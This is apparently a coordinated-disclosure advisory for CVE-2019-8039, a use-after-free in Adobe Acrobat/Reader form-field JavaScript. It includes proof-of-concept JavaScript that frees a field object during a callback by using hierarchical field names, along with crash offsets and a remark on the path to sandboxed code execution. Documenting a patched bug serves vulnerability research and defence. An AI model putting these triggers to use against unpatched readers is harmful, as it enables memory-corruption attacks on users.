CVE: CVE-2019-8039
Tested Versions:
- Adobe Acrobat and Reader versions 2019.012.20035 and earlier
Product URL(s):
Description of the vulnerability
Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). The basic Acrobat Reader, available for several desktop and mobile platforms, is freeware; it supports viewing, printing and annotating of PDF files. The commercial proprietary Acrobat, available for Microsoft Windows and macOS only, can also create, edit, convert, digitally sign, encrypt, export and publish PDF files.
There is an use-after-free bug when Adobe Reader/Acrobat DC executes JavaScript relating to form fields.
The idea is to have a Document.Field
object freed (in a callback) when it is in use.
We start off with some code that attempts to do this:
var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); // Create a field object
a = {}
t = this
a.toString = function() {
t.removeField("Field") // Try to free the field object
return "$"
}
// When Format event happens AFNumber_Format is called.
// Its fith argument accepts string so `a.toString` is called.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');
undefined
NotAllowedError: Security settings prevent access to this property or method.
Doc.removeField:6:Field Field:Format
We see that NotAllowedError
exception is raised, indicating that there are some checks inside this.removeField
.
Nevertheless, this code does seem to work partially.
var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2 = this.addField("Field2", "text", 0, [0+100, 0, 100+100, 100]); //Create the second field
a = {}
t = this
a.toString = function() {
t.removeField("Field2") //Instead of remove "Field" we remove "Field2"
return "$"
}
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');
The second field is successfully removed. My conclusion is that the check inside this.removeField
is based on field’s name. This led me to my final test.
var f = this.addField("Field", "text", 0, [0, 0, 100, 100]); //Create the first field
var f2 = this.addField("textField", "text", 0 , [20+200, 100, 100+200, 20]); //Create the second field
i = 0
a = {}
t = this
a.toString = function() {
f2.value = 444 //We trigger "textField" Format event
return "$"
}
f2.setAction("Format", "i+=1; if (i==2) t.removeField('Field')") //Remove "Field" here.
f.setAction("Format",'AFNumber_Format(2, 1, 1, 1, a, 1);');
When page heap is enabled the code above will crash Adobe Reader DC. The program tries to access an freed CTextField
object.
This vulnerability was described in previous report.
However, using the Form Field Hierarchies naming style, it is also possible to trigger a crash. The proof-of-concept looks like this:
f = this.addField("a.1", "text", 0, [0+200, 0, 55+200, 50]);
t = this
A = {}
A.toString = function() {
t.removeField('a') // <= will remove "a.1; a.2; a.abcd; etc"
return 'owned'
}
f.value = A
Note the use of the "dotted"
names that denote hierarchy.
Vulnerability Analysis
The check inside document.removeField
did not account for the possible use of Form Field Hierarchies naming style.
This allows us to remove the Field object in the middle of an property assignment.
Using different property names of Field object will result in crashes at different locations.
In case of the above code, it crashes at at AcroForm+0022A270
when trying to cast a CPDField
object into CChoiceBasedField
.
At AcroForm+0022A32D
, there is an indrect call to dword ptr [eax+38h]
, where eax
points to the freed memory region.
With proper heap manipulation this can lead to code execution, although only within the sandboxed context.
timeline:
- 2019-06-20 Vulnerability reported to vendor via ZDI
- 2019-08-19 Coordinated public release of advisory
Vendor Response
The vendor has acknowledged the issue and released an update to address it.
This issue is covered in the vendor’s Security bulletin APSB19-41.